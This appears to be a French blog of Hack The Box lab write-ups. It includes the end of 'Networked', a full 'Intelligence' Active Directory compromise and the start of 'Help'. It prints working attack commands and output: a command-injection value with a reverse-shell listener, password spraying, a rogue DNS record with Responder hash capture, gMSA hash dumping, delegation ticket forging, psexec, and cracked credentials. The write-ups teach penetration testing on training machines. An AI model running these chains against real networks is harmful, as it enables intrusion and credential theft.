[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
randomtext /tmp/shell
interface PROXY_METHOD:
randomtext
interface BROWSER_ONLY:
randomtext
interface BOOTPROTO:
randomtext

-----------------------------------

nc -lnvp 7777
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:58160.
[root@networked network-scripts]# cat /root/root.txt
cat /root/root.txt
d1ce.....e93

HTB | Intelligence

Wed, 03 Sep 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Intelligence	Windows	10.10.10.248	Medium

Users

1
2
3


Tiffany.Molina : NewIntelligenceCorpUser9876
Ted.Graves : Mr.Teddy
svc_int$:::1dcabcce2cf522bae77d7dc622587879

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.248
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Intelligence
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-03 19:34:02Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
|_ssl-date: 2025-09-03T19:35:37+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-03T19:35:36+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-03T19:35:37+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
| SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
|_ssl-date: 2025-09-03T19:35:36+00:00; +7h00m00s from scanner time.
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49710/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49713/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Foothold

intelligence.htb

On découvre un site web sur le port 80 de notre machine.

Fuzzing files

Sur la page d’accueil on nous indique un lien vers un fichier :

http://intelligence.htb/documents/2020-01-01-upload.pdf Un deuxième lien est présent avec un fichier contenant une autre date.

On fait la déduction que d’autres files peuvent etre présents, si l’on réussi à faire du fuzzing avec la date.

Dans un premier temps, on génére donc un fichier Python qui parcourt toutes les dates dans le bon format de 2015 à 2022 pour un premier test. On redirige ensuite la liste dans un fichier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


from datetime import date, timedelta

def daterange(start_date: date, end_date: date):
 days = int((end_date - start_date).days)
 for n in range(days):
 yield start_date + timedelta(n)

start_date = date(2015, 1, 1)
end_date = date(2022, 6, 2)
for single_date in daterange(start_date, end_date):
 print(single_date.strftime("%Y-%m-%d"))

Ensuite, on utilise ffuf pour faire du fuzzing et récupérer toutes les URL des potentiels fichiers téléchargeables :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


$ ffuf -c -w dates.txt -u "http://intelligence.htb/documents/FUZZ-upload.pdf" -o results.json -of json


 /'___\ /'___\  /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
 \ \_\  \ \_\  \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://intelligence.htb/documents/FUZZ-upload.pdf
 :: Wordlist : FUZZ: /workspace/Intelligence/dates.txt
 :: Output file : results.json
 :: File format : json
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

2020-01-01 [Status: 200, Size: 26835, Words: 241, Lines: 209, Duration: 35ms]
2020-01-02 [Status: 200, Size: 27002, Words: 229, Lines: 199, Duration: 31ms]
2020-01-25 [Status: 200, Size: 26252, Words: 225, Lines: 193, Duration: 24ms]
2020-01-20 [Status: 200, Size: 11632, Words: 157, Lines: 127, Duration: 27ms]
2020-01-23 [Status: 200, Size: 11557, Words: 167, Lines: 136, Duration: 35ms]
2020-01-22 [Status: 200, Size: 28637, Words: 236, Lines: 224, Duration: 37ms]
2020-01-10 [Status: 200, Size: 26400, Words: 232, Lines: 205, Duration: 40ms]
2020-01-04 [Status: 200, Size: 27522, Words: 223, Lines: 196, Duration: 49ms]
2020-01-30 [Status: 200, Size: 26706, Words: 242, Lines: 193, Duration: 39ms]
2020-02-24 [Status: 200, Size: 27332, Words: 237, Lines: 206, Duration: 23ms]
2020-03-04 [Status: 200, Size: 26194, Words: 235, Lines: 202, Duration: 21ms]
2020-02-28 [Status: 200, Size: 11543, Words: 167, Lines: 131, Duration: 23ms]
2020-02-11 [Status: 200, Size: 25245, Words: 241, Lines: 198, Duration: 29ms]
2020-02-17 [Status: 200, Size: 11228, Words: 167, Lines: 132, Duration: 29ms]
2020-02-23 [Status: 200, Size: 27378, Words: 247, Lines: 213, Duration: 33ms]
2020-03-05 [Status: 200, Size: 26124, Words: 221, Lines: 205, Duration: 33ms]
2020-03-12 [Status: 200, Size: 27143, Words: 233, Lines: 213, Duration: 24ms]
2020-03-21 [Status: 200, Size: 11250, Words: 157, Lines: 134, Duration: 24ms]
...
2021-03-25 [Status: 200, Size: 27327, Words: 231, Lines: 211, Duration: 22ms]
2021-03-21 [Status: 200, Size: 26810, Words: 229, Lines: 205, Duration: 31ms]
2021-03-27 [Status: 200, Size: 12127, Words: 166, Lines: 141, Duration: 28ms]
:: Progress: [2709/2709] :: Job [1/1] :: 1562 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

Il faut ensuite parcourir cette liste d’url pour télécharger tous les fichiers. En Python, ça nous donne le code suivant :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


cat ffuf_dl.py
import json
import subprocess

with open("results.json") as f:
 data = json.load(f)

for result in data["results"]:
 url = result["url"]
 print(f"[*] Téléchargement de {url}")
 subprocess.run(["wget", "-q", "-P", "pdfs/", url])

Dans le dossier pdfs/ se trouve une grande quantité de fichiers

Password found in pdfs

J’ai utilisé la commande pdftotext afin de convertir les pdfs en texte. Ensuite, en affichant le texte de tous les pdfs et en recherchant le mot clé “password”, on trouve un match ! Le mot de passe : NewIntelligenceCorpUser9876

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ for f in *.pdf
do
 pdftotext $f
done
$ cat *.txt | grep -i password -A3 -B3

New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.

On trouve également le message suivant:

1
2
3
4
5


Internal IT Update
There has recently been some outages on our web servers. Ted has gotten a
script in place to help notify us if this happens again.
Also, after discussion following our recent security audit we are in the process
of locking down our service accounts.

User list from pdfs creators

En utilisant exiftool, on peut recuperer beaucoup d’information sur les PDFs et notamment le nom des createurs ayant généré les pdfs. On peut alors obtenir une liste d’utilisateurs potentiels

1
2
3
4
5
6
7
8


exiftool pdfs/*.pdf | grep -i creator | awk '{print $3}'
William.Lee
Scott.Scott
...
Tiffany.Molina <-----------
...
Ian.Duncan
Richard.Williams

Avec kerbrute, on peut vérifier si les utilisateurs existent. Une très grosse partie existe en vérité. Avec nxc on effectue un password spray et on trouve les credentials suivants: intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$ kerbrute userenum --dc dc.intelligence.htb -d intelligence.htb users.txt
 __ __ __
 / /_____ _____/ /_ _______ __/ /____
 / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/

Version: dev (n/a) - 09/03/25 - Ronnie Flathers @ropnop

2025/09/03 16:03:02 > Using KDC(s):
2025/09/03 16:03:02 > dc.intelligence.htb:88

2025/09/03 16:03:02 > [+] VALID USERNAME: Stephanie.Young@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: Veronica.Patel@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: Jason.Wright@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: David.Reed@intelligence.htb
2025/09/03 16:03:02 > [+] VALID USERNAME: Scott.Scott@intelligence.htb
......

$ nxc smb 10.10.10.248 -u users.txt -p pass.txt
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [-] intelligence.htb\William.Lee:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
...
SMB 10.10.10.248 445 DC [-] intelligence.htb\Jason.Wright:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
SMB 10.10.10.248 445 DC [-] intelligence.htb\Richard.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
SMB 10.10.10.248 445 DC [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

Tiffany.Molina : user flag

On trouve un Share User accessible en lecture par Tiffany. On trouve finalement les fichiers de Tiffany et le flag user.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


smbclient //10.10.10.248/users -U 'Tiffany.Molina%NewIntelligenceCorpUser9876'
Try "help" to get a list of possible commands.
smb: \> ls
 . DR 0 Mon Apr 19 03:20:26 2021
 .. DR 0 Mon Apr 19 03:20:26 2021
 Administrator D 0 Mon Apr 19 02:18:39 2021
 All Users DHSrn 0 Sat Sep 15 09:21:46 2018
 Default DHR 0 Mon Apr 19 04:17:40 2021
 Default User DHSrn 0 Sat Sep 15 09:21:46 2018
 desktop.ini AHS 174 Sat Sep 15 09:11:27 2018
 Public DR 0 Mon Apr 19 02:18:39 2021
 Ted.Graves D 0 Mon Apr 19 03:20:26 2021
 Tiffany.Molina D 0 Mon Apr 19 02:51:46 2021

 3770367 blocks of size 4096. 1453992 blocks available
smb: \> cd Tiffany.molina
smb: \Tiffany.molina\> cd Desktop
smb: \Tiffany.molina\Desktop\> ls
 . DR 0 Mon Apr 19 02:51:46 2021
 .. DR 0 Mon Apr 19 02:51:46 2021
 user.txt AR 34 Wed Sep 3 21:31:06 2025

 3770367 blocks of size 4096. 1453992 blocks available
smb: \Tiffany.molina\Desktop\> get user.txt
getting file \Tiffany.molina\Desktop\user.txt of size 34 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \Tiffany.molina\Desktop\>
$ cat user.txt
359b.....159e

Rusthound bloodhound

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


$ rusthound -d intelligence.htb -u "Tiffany.Molina"@"intelligence.htb" -p "NewIntelligenceCorpUser9876" -o /workspace/Intelligence/bloodhount_data --zip -n 10.10.10.248
---------------------------------------------------
Initializing RustHound at 16:50:28 on 09/03/25
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2025-09-03T14:50:28Z INFO rusthound] Verbosity level: Info
[2025-09-03T14:50:28Z INFO rusthound::ldap] Connected to INTELLIGENCE.HTB Active Directory!
[2025-09-03T14:50:28Z INFO rusthound::ldap] Starting data collection...
[2025-09-03T14:50:28Z INFO rusthound::ldap] All data collected for NamingContext DC=intelligence,DC=htb
[2025-09-03T14:50:28Z INFO rusthound::json::parser] Starting the LDAP objects parsing...
[2025-09-03T14:50:28Z INFO rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2025-09-03T14:50:28Z INFO rusthound::json::parser] Parsing LDAP objects finished!
[2025-09-03T14:50:28Z INFO rusthound::json::checker] Starting checker to replace some values...
[2025-09-03T14:50:28Z INFO rusthound::json::checker] Checking and replacing some values finished!
[2025-09-03T14:50:28Z INFO rusthound::json::maker] 43 users parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 63 groups parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 1 computers parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 1 ous parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 1 domains parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 2 gpos parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] 21 containers parsed!
[2025-09-03T14:50:29Z INFO rusthound::json::maker] /workspace/Intelligence/bloodhount_data/20250903165028_intelligence-htb_rusthound.zip created!

RustHound Enumeration Completed at 16:50:29 on 09/03/25! Happy Graphing!

Tiffany.Molina -> Ted.Graves

En se connectant au share IT on remarque un script powershell. Ce script parcourt tous les domaines DNS enregistrés commencant par “web” puis effectue une requête HTTP avec Invoke-WebRequest. Si le site n’est pas actif, alors la requête echoue et un mail est envoyé à Ted.

Il est indiqué que le script est executé toutes les 5mn, et vraisembablement est executé par Ted lui même. On remarque l’utilisation du paramètre -UseDefaultCredentials ce qui signifie que les creds de celui qui l’execute sont transmis lors de la requête.

Si on arrive à detourner le script pour lui faire faire une requête vers notre ordinateur, on pourrait recupérer le mot de passe de Ted.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


smbclient //10.10.10.248/it -U 'Tiffany.Molina%NewIntelligenceCorpUser9876'
Try "help" to get a list of possible commands.
smb: \> ls
 . D 0 Mon Apr 19 02:50:55 2021
 .. D 0 Mon Apr 19 02:50:55 2021
 downdetector.ps1 A 1046 Mon Apr 19 02:50:55 2021

 3770367 blocks of size 4096. 1453177 blocks available
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (13.4 KiloBytes/sec) (average 13.4 KiloBytes/sec)
smb: \>
[Sep 03, 2025 - 17:13:40 (CEST)] exegol-pentest Intelligence # cat downdetector.ps1 
��# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

L’idée est donc:

Créer un record DNS commençant par “web” avec le compte de Tiffany
Mettre en place un responder, qui attend de recevoir une requête et nous donnera un hachage
Déchiffrer le hachage.

New DNS Record

On crée un nouveau DNS record : web666. Il pointe vers notre IP. Pour cela on peut utiliser l’outil dnstool.py :

1
2
3
4
5
6


$ dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r web666 -a add -d 10.10.16.10 10.10.10.248
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Responder

On se met en attente d’une requête, avec la commande responder :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


[Sep 03, 2025 - 22:43:49 (CEST)] exegol-pentest Intelligence # responder -I tun0 -w -F 
 __
 .----.-----.-----.-----.-----.-----.--| |.-----.----.
 | _| -__|__ --| _ | _ | | _ || -__| _|
 |__| |_____|_____| __|_____|__|__|_____||_____|__|
 |__|

 NBT-NS, LLMNR & MDNS Responder 3.1.5.0

[+] Listening for events...

[!] Error starting TCP server on port 53, check permissions or other servers running.
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:1122334455667788:BF2803FDDC9EEF7CD931A308E83AAF83:0101000000000000579387554E1DDC014DF34E0577DDBE3A0000000002000800510054003200360001001E00570049004E002D00440046003200570030004700530042004500390050000400140051005400320036002E004C004F00430041004C0003003400570049004E002D00440046003200570030004700530042004500390050002E0051005400320036002E004C004F00430041004C000500140051005400320036002E004C004F00430041004C00080030003000000000000000000000000020000027B3134561E5EAEC1547E28450320466E1AC51EF296269768842659E2D2AD00B0A001000000000000000000000000000000000000900380048005400540050002F007700650062003600360036002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000

Ted NTLMv2 Hash

On effectue une attaque par dictionnaire sur le hachage NTLMv2 de Ted.graves et on obtient les credentials suivants : Ted : Mr.Teddy

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ hashcat -m 5600 ./hash.txt ~/wordlists/rockyou.txt
...

TED.GRAVES::intelligence:112.......000:Mr.Teddy

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TED.GRAVES::intelligence:1122334455667788:bf2803fdd...000000
Time.Started.....: Wed Sep 3 22:47:36 2025 (2 secs)
Time.Estimated...: Wed Sep 3 22:47:38 2025 (0 secs)
...

$ nxc smb 10.10.10.248 -u Ted.graves -p 'Mr.Teddy'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [+] intelligence.htb\Ted.graves:Mr.Teddy

Ted.Graves -> svc_int$

ReadGMSAPassword Right on svc_int$

En utilisant bloodhound, on découvre que Ted.Graves fait parti du groupe ITSupport qui a le droit ReadGMSAPassword sur l’utilisateur svc_int$.

En utilisant la commande gMSADumper.py on peut alors dumper le hachage de svc_int$ :

1
2
3
4
5
6
7


gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb'
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::1dcabcce2cf522bae77d7dc622587879
svc_int$:aes256-cts-hmac-sha1-96:331c8820d64c744ba82a28551b76dc2dc00991df0e253fa613d37c4684e045fd
svc_int$:aes128-cts-hmac-sha1-96:40122d8d49ee8c46ea793c19b3a59d08

svc_int$ -> Administrator

msDS-AllowedToDelegateTo : WWW/dc.intelligence.htb

On remarque que svc_int peut : msDS-AllowedToDelegateTo : WWW/dc.intelligence.htb

Ce qui veut dire que svc_int$ peut se faire passer pour un autre utilisateur uniquement vers le service WWW/dc.intelligence.htb. On peut aussi voir ce resultat directement dans bloodhound.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


ldapsearch -x -H ldap://10.10.10.248 -D "intelligence\Ted.Graves" -w "Mr.Teddy" -b "DC=intelligence,DC=htb" | grep -i msDS-AllowedToDel -A20 -B40

# svc_int, Managed Service Accounts, intelligence.htb
dn: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
objectClass: msDS-GroupManagedServiceAccount
cn: svc_int
distinguishedName: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=h
 tb
....
msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb

Silver Ticket : impersonate Administrator

On peut maintenant se faire passer pour l’administrateur en générant un silver ticket pour le SPN WWW/dc.intelligence.htb.

On utilise ensuite psexec pour obtenir un powershell en tant qu’admin avec le ticket généré :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


$ getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int$ -dc-ip 10.10.10.248 -hashes :1dcabcce2cf522bae77d7dc622587879

Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache

$ mv Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache admin.ccache

$ export KRB5CCNAME="admin.ccache"

$ psexec.py -k -no-pass intelligence.htb/Administrator@dc.intelligence.htb

Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.intelligence.htb.....
[*] Found writable share ADMIN$
[*] Uploading file RKiuvsgB.exe
[*] Opening SVCManager on dc.intelligence.htb.....
[*] Creating service MGRO on dc.intelligence.htb.....
[*] Starting service MGRO.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
8fa6.....9f53

Tips

Parfois bloodhound n’affiche pas toutes les informations. Par exemple, je ne voyais pas la route de Ted vers svc_int.

En effet, j’ai l’habitude de cliquer sur Outbound Object Control-> Transitive Object Control.

Mais il fallait faire :

Outbound Object Control -> Group Delegated Object Control

Attention donc à bien regarder toutes les possibilités de Outbound Object Control sur un utilisateur owned.

Allowed To Delegate : WWW/dc.intelligence.htb Il faut regarder chaque parametre de l’utilisateur sur bloodhound. J’aurais dû reperer cela. Tout ne saute pas forcement aux yeux.
psexec.py -k -no-pass intelligence.htb/Administrator@dc.intelligence.htb Pour psexec, attention ici j’ai du préciciser Administrator@dc.intelligence.htb au lieu de l’ip que j’avais mis initialement : Administrator@10.10.10.248. Il faut bien sûr que **dc.intelligence.htb **soit bien dans le /etc/hosts.

HTB | Editor

Thu, 28 Aug 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Editor	Linux	10.10.11.80	Easy

Soon :)

HTB | Help

Wed, 27 Aug 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Help	Linux	10.10.10.121	Easy

System Info

1
2
3
4


Distributor ID: Ubuntu
Description: Ubuntu 16.04.5 LTS
Release: 16.04
Codename: xenial

Users

1
2
3
4


## Graphql
helpme@helpme.com : godhelpmeplz
## PAM / SSH
help : Welcome1

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.121
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5bb4d9cdeaf6bbfba8c227ad8d74328 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZY4jlvWqpdi8bJPUnSkjWmz92KRwr2G6xCttorHM8Rq2eCEAe1ALqpgU44L3potYUZvaJuEIsBVUSPlsKv+ds8nS7Mva9e9ztlad/fzBlyBpkiYxty+peoIzn4lUNSadPLtYH6khzN2PwEJYtM/b6BLlAAY5mDsSF0Cz3wsPbnu87fNdd7WO0PKsqRtHpokjkJ22uYJoDSAM06D7uBuegMK/sWTVtrsDakb1Tb6H8+D0y6ZQoE7XyHSqD0OABV3ON39GzLBOnob4Gq8aegKBMa3hT/Xx9Iac6t5neiIABnG4UP03gm207oGIFHvlElGUR809Q9qCJ0nZsup4bNqa/
| 256 d5b010507486a39fc5536f3b4a246119 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHINVMyTivG0LmhaVZxiIESQuWxvN2jt87kYiuPY2jyaPBD4DEt8e/1kN/4GMWj1b3FE7e8nxCL4PF/lR9XjEis=
| 256 e21b88d37621d41e38154a8111b79907 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxDPln3rCQj04xFAKyecXJaANrW3MBZJmbhtL4SuDYX
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://help.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open http syn-ack ttl 63 Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS

Foothold

Graphql : Getting creds using the API

On découvre une API graphql sur le port 3000 à l’aide dirsearch. A l’aide de ChatGPT, on comprend comment effectuer des requêtes afin de comprendre la structure des données disponibles et de récupérer des informations.

On trouve finalement un user/password après quelques requetes :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


$ dirsearch -u http://10.10.10.121:3000/

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://10.10.10.121:3000/

[00:50:04] Scanning:
[00:50:13] 400 - 18B - /graphql
[00:50:13] 400 - 18B - /graphql/
[00:50:13] 400 - 18B - /graphql/console
[00:50:13] 400 - 18B - /graphql/schema.yaml
[00:50:13] 400 - 18B - /graphql/graphql
[00:50:13] 400 - 18B - /graphql/schema.json
[00:50:13] 400 - 18B - /graphql/schema.xml

Task Completed

$ curl -X POST http://10.10.10.121:3000/graphql \
 -H "Content-Type: application/json" \
 -d '{"query":"{ __typename }"}'

{"data":{"__typename":"Query"}}

$ curl -X POST http://10.10.10.121:3000/graphql \
 -H "Content-Type: application/json" \
 -d '{"query":"{ __schema { types { name fields { name } } } }"}'

